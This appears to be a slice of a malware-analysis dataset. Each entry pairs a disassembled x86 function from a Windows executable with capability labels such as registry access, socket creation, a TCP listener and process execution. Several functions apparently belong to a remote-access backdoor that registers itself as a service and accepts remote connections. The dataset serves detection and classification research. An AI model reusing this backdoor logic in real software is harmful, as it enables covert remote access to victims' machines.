joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa6bec2
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.00a6c072
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0xa6bfc0
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0xa6bf63
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0xa6bfa6
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0xa6bf7a
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0xa6bf95
test al, 0x40
je 0xa6bf8c
mov ecx, dword [edi + 0x20]
jmp 0xa6bf93
test al, 0x80
je 0xa6bfa6
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0xa6bfa6
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0xa6bf32
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x4011c0
Capabilities:
Accept command line arguments
Initialize winsock library

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41c7eb
push eax
mov dword fs:[0], esp
sub esp, 0x9a4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.0041b212
test eax, eax
jne 0x401266
push str.Fatal_Error:_MFC_initialization_failed
push 0x481040
call fcn.004045f0
add esp, 8
mov esi, eax
mov ecx, esi
push 0xa
call fcn.00404390
mov eax, dword [esi]
xor edi, edi
mov ecx, dword [eax + 4]
lea eax, [ecx + esi]
mov cl, byte [ecx + esi + 4]
test cl, 6
jne 0x40123e
mov eax, dword [eax + 0x28]
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, 0xffffffff
jne 0x40123e
mov edi, 4
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
test edi, edi
je 0x40125f
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 0x28]
or eax, edi
test edx, edx
jne 0x401257
or al, 4
push 0
push eax
call fcn.00410e5e
mov ebx, 1
jmp 0x40129a
mov ecx, dword [0x425e64]
mov dword [esp + 0xc], ecx
push 1
lea ecx, [esp + 0x10]
mov dword [esp + 0x9bc], 0
call fcn.0041617c
lea ecx, [esp + 0xc]
mov dword [esp + 0x9b8], 0xffffffff
call fcn.00415660
mov esi, 0x429aa4
push 0x800
call fcn.00416148
mov dword [esi], eax
add esi, 4
add esp, 4
cmp esi, 0x429acc
jl 0x40129f
lea edx, [esp + 0x20]
push edx
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp dword [esp + 0x9c0], 1
jle 0x401330
mov eax, dword [esp + 0x9c4]
push str.SINGLE
mov ecx, dword [eax + 4]
push ecx
call fcn.0040b250
add esp, 8
test eax, eax
jne 0x401330
lea edx, [esp + 0x1b0]
mov ecx, pe_nt_image_headers32
lea edi, [esp + 0x1b0]
push edx
push str.netXeyes
push str.netXeyes
rep stosd dword es:[edi], eax
call fcn.004058e0
add esp, 0xc
lea eax, [esp + 0x1b0]
mov ecx, 0x47e934
push eax
call fcn.0041579d
push 0
call fcn.00404cf0
add esp, 4
mov edi, str.NTSVC
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x5b0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x5b0]
push ecx
mov ecx, 0x43fd00
call fcn.0041579d
lea eax, [esp + 0x10]
lea edx, [esp + 0x5b0]
push eax
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], 0x403f90
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x9b0]
pop edi
mov eax, ebx
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x9b0
ret
Function at 0x4027b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x1028
call fcn.00406e20
push ebx
push ebp
push esi
push edi
mov edi, str.SoftwareMicrosoftWindows_NTCurrentVersionNetworkCards_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x838]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor ebp, ebp
rep movsb byte es:[edi], byte [esi]
push ebp
lea ecx, [esp + 0x20]
push 0x42542c
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edi, [esp + 0x844]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x438]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x438]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0xf003f
lea ecx, [esp + 0x440]
push 0
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402922
lea edx, [esp + 0x14]
lea eax, [esp + 0x38]
push edx
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
push ecx
push 0
push str.ServiceName
push edx
mov dword [esp + 0x2c], 0xff
mov dword [esp + 0x30], 1
call ebx
test eax, eax
jne 0x402922
mov esi, dword [esp + 0x103c]
lea eax, [esp + 0x38]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4028e5
test cl, cl
je 0x4028e1
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4028e5
add eax, 2
add esi, 2
test cl, cl
jne 0x4028c1
xor eax, eax
jmp 0x4028ea
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402922
lea eax, [esp + 0x14]
lea ecx, [esp + 0xc38]
push eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0
push str.Description
push eax
mov dword [esp + 0x30], 1
mov dword [esp + 0x2c], 0xff
call ebx
test eax, eax
je 0x402970
mov eax, dword [esp + 0x10]
test eax, eax
je 0x402931
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc ebp
cmp ebp, 0x64
jl 0x4027ef
mov edi, str.None
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x38]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x38]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1028
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0xc38]
push edx
call fcn.0040831f
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1028
ret
Function at 0x402b30
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41c938
push eax
mov eax, dword [esp + 0x10]
mov dword fs:[0], esp
push esi
push eax
lea ecx, [esp + 0x18]
call fcn.004156ce
mov ecx, dword [esp + 0x14]
mov eax, 0x51
mov dword [esp + 0xc], 0
mov edx, dword [ecx - 8]
sub eax, edx
test eax, eax
jle 0x402b85
mov esi, eax
push 0x425198
lea ecx, [esp + 0x18]
call fcn.00415861
dec esi
jne 0x402b70
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx - 8]
push 0
push eax
push ecx
mov ecx, dword [0x47e938]
push ecx
call dword [sym.imp.WS2_32.dll_send]
lea ecx, [esp + 0x14]
mov dword [esp + 0xc], 0xffffffff
call fcn.00415660
mov ecx, dword [esp + 4]
pop esi
mov dword fs:[0], ecx
add esp, 0xc
ret
Function at 0x404cf0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration
Start tcp server
Terminate process

Disassembly:
sub esp, 0x2c
push ebx
push ebp
push esi
push edi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
mov ax, word [0x4258ac]
push eax
mov word [esp + 0x20], 2
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea ecx, [esp + 0x14]
push 4
push ecx
push 4
push 0xffff
push ebx
mov word [esp + 0x32], ax
mov dword [esp + 0x34], 0
mov dword [esp + 0x28], 1
call edi
lea edx, [esp + 0x1c]
push 0x10
push edx
push ebx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x404d63
push 0
call fcn.00406f12
pop edi
pop esi
pop ebp
pop ebx
push accept
push ebx
call dword [sym.imp.WS2_32.dll_listen]
mov ebp, dword [sym.imp.WS2_32.dll_inet_ntoa]
mov dword [esp + 0x18], 0x10
lea eax, [esp + 0x18]
lea ecx, [esp + 0x2c]
push eax
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_accept]
mov edx, dword [esp + 0x30]
mov esi, eax
push edx
call ebp
push eax
push str._r_nRemote_address:__s_r_n
call fcn.00406dd1
mov eax, dword [esp + 0x38]
add esp, 8
push eax
call ebp
push eax
mov ecx, 0x43fd04
call fcn.0041579d
cmp esi, 0xffffffff
mov dword [esp + 0x10], 0x2710
je 0x404d7d
lea ecx, [esp + 0x10]
push 4
push ecx
push 0x1006
push 0xffff
push esi
call edi
lea edx, [esp + 0x10]
push 4
push edx
push 0x1005
push 0xffff
push esi
call edi
push 0
push 0
push 0
push 0xf
push esi
push 0x404e30
mov dword [0x47e93c], 1
call fcn.0041636a
mov eax, dword [0x47e93c]
test eax, eax
je 0x404d7d
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x47e93c]
test eax, eax
jne 0x404e16
jmp 0x404d7d
Function at 0x405ae0
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x41cd18
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x7f0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x804], ebx
mov edi, str.SoftwareMicrosoftCommand_Processor_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x3fc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x10], ebx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x3fc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x80c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x400]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov esi, eax
mov eax, dword [esp + 0x814]
push eax
lea ecx, [esp + 0x18]
push 0x4254a0
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp esi, ebx
jne 0x405be3
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x810]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x10]
push edx
push 1
push ebx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x80c]
mov byte [esp + 0x804], 1
call fcn.00415660
lea ecx, [esp + 0x810]
mov byte [esp + 0x804], bl
call fcn.00415660
lea ecx, [esp + 0x814]
mov dword [esp + 0x804], 0xffffffff
call fcn.00415660
mov ecx, dword [esp + 0x7fc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x7fc
ret 0xc
Function at 0x405c40
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x41cd40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x80c
push ebx
push esi
push edi
mov edi, str.SoftwareMicrosoftCommand_Processor_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x820], 1
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x828]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
xor ebx, ebx
push 0xf003f
lea ecx, [esp + 0x20]
push ebx
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
mov dword [esp + 0x14], 0xff
jne 0x405d37
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x418]
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x418]
push edx
mov edx, dword [esp + 0x830]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push ecx
push ebx
push edx
push eax
mov dword [esp + 0x28], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0xc]
mov esi, eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
je 0x405d65
lea ecx, [esp + 0x828]
mov byte [esp + 0x820], bl
call fcn.00415660
lea ecx, [esp + 0x82c]
mov dword [esp + 0x820], 0xffffffff
call fcn.00415660
xor eax, eax
jmp 0x405da8
mov ecx, dword [esp + 0x830]
lea edx, [esp + 0x418]
push edx
call fcn.0041579d
lea ecx, [esp + 0x828]
mov byte [esp + 0x820], bl
call fcn.00415660
lea ecx, [esp + 0x82c]
mov dword [esp + 0x820], 0xffffffff
call fcn.00415660
mov eax, 1
mov ecx, dword [esp + 0x818]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x818
ret 0xc
Function at 0x40302f
Capabilities:
Terminate process

Disassembly:
push 0x60
push 0x40fde8
call fcn.00407554
and dword [ebp - 4], 0
lea eax, [ebp - 0x70]
push eax
call dword [0x40e0a4]
mov dword [ebp - 4], 0xfffffffe
mov edi, 0x94
push edi
push 0
mov ebx, dword [0x40e0a0]
call ebx
push eax
call dword [0x40e09c]
mov esi, eax
test esi, esi
jne 0x402e9a
push 0x12
call fcn.00402dea
pop ecx
jmp 0x403024
mov dword [esi], edi
push esi
call dword [0x40e098]
push esi
push 0
test eax, eax
jne 0x402eb8
call ebx
push eax
call dword [0x40e094]
jmp 0x403024
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [esi + 4]
mov dword [ebp - 0x24], eax
mov eax, dword [esi + 8]
mov dword [ebp - 0x28], eax
mov edi, dword [esi + 0xc]
and edi, 0x7fff
call ebx
push eax
call dword [0x40e094]
mov esi, dword [ebp - 0x20]
cmp esi, 2
je 0x402eea
or edi, 0x8000
mov ecx, dword [ebp - 0x24]
push ecx
pop eax
shl eax, 8
mov edx, dword [ebp - 0x28]
add eax, edx
mov dword [0x434280], esi
mov dword [0x434288], eax
mov dword [0x43428c], ecx
mov dword [0x434290], edx
mov dword [0x434284], edi
call fcn.00402e0e
mov dword [ebp - 0x20], eax
xor ebx, ebx
inc ebx
push ebx
call fcn.004074f8
pop ecx
test eax, eax
jne 0x402f32
push 0x1c
call fcn.00402dea
pop ecx
call fcn.00404531
test eax, eax
jne 0x402f43
push 0x10
call fcn.00402dea
pop ecx
call fcn.00407455
mov dword [ebp - 4], ebx
call fcn.00407215
test eax, eax
jge 0x402f5c
push 0x1b
call fcn.00406706
pop ecx
call dword [0x40e090]
mov dword [0x435a58], eax
call fcn.004070e0
mov dword [0x433e30], eax
call fcn.00407027
test eax, eax
jge 0x402f82
push 8
call fcn.00406706
pop ecx
call fcn.00406db4
or eax, eax
jge 0x402f93
push 9
call fcn.00406706
pop ecx
push ebx
call fcn.00406822
pop ecx
test eax, eax
je 0x402fa5
push eax
call fcn.00406706
pop ecx
call fcn.00406d57
test byte [ebp - 0x44], bl
je 0x402fb5
movzx ecx, word [ebp - 0x40]
jmp 0x402fb8
push 0xa
pop ecx
push ecx
push eax
push 0
push 0x400000
call main
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], 0
jne 0x402fd5
push eax
call fcn.00406982
call fcn.004069a4
jmp 0x40300a
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x1c]
jmp 0x403029
mov eax, 0xff
call fcn.00407599
ret
call fcn.00407746
jmp 0x402e4f

Function at 0x40b0c0
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
cmp word [ecx], 0x5a4d
je 0x40b0ce
sub eax, eax
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40b0cb
sub ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
ret

Function at 0x40b0f0
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
sub edx, edx
or esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x40b12c
mov edi, dword [esp + 0x14]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x40b122
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x40b12e
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x40b112
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x40b540
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x469acb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045e3b6
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40b5c2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045c2cd
mov eax, dword [eax]
push 0x55c1c0
push eax
call fcn.0044f134
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045e641
test bl, bl
je 0x40b5c2
push 0x55c1c0
lea ecx, [esp + 0xc]
call fcn.0045e9d1
push 0x55fd3c
lea ecx, [esp + 0xc]
call fcn.0045e9d1
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40b5fe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045e641
jmp 0x40b6c9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40b682
lea edx, [esp + 0x7c]
push 0x55fd38
push edx
call fcn.0044f134
add esp, 8
test eax, eax
je 0x40b682
lea eax, [esp + 0x7c]
push 0x55fd34
push eax
call fcn.0044f134
add esp, 8
test eax, eax
je 0x40b682
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40b612
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045e641
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40bec0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40bf22
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40bf30
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x469b4b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x566218]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40c068
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40bf96
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045e641
xor eax, eax
jmp 0x40c0df
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045e77e
push esi
lea ecx, [esp + 0xc]
call fcn.0045ea0d
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40c0bd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0040bec0
test eax, eax
jne 0x40c0bd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0040bec0
test eax, eax
jne 0x40c0bd
lea eax, [esp + 0x14]
push 0x55fd50
push eax
call fcn.00450170
mov esi, eax
add esp, 8
test esi, esi
jne 0x40c09c
lea ecx, [esp + 0x14]
push 0x55fd4c
push ecx
call fcn.004500f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40c09c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40c09f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045e72e
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40bfae
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045e641
xor eax, eax
jmp 0x40c0df
mov byte [esi], 0
push 0x55fd48
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045e641
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4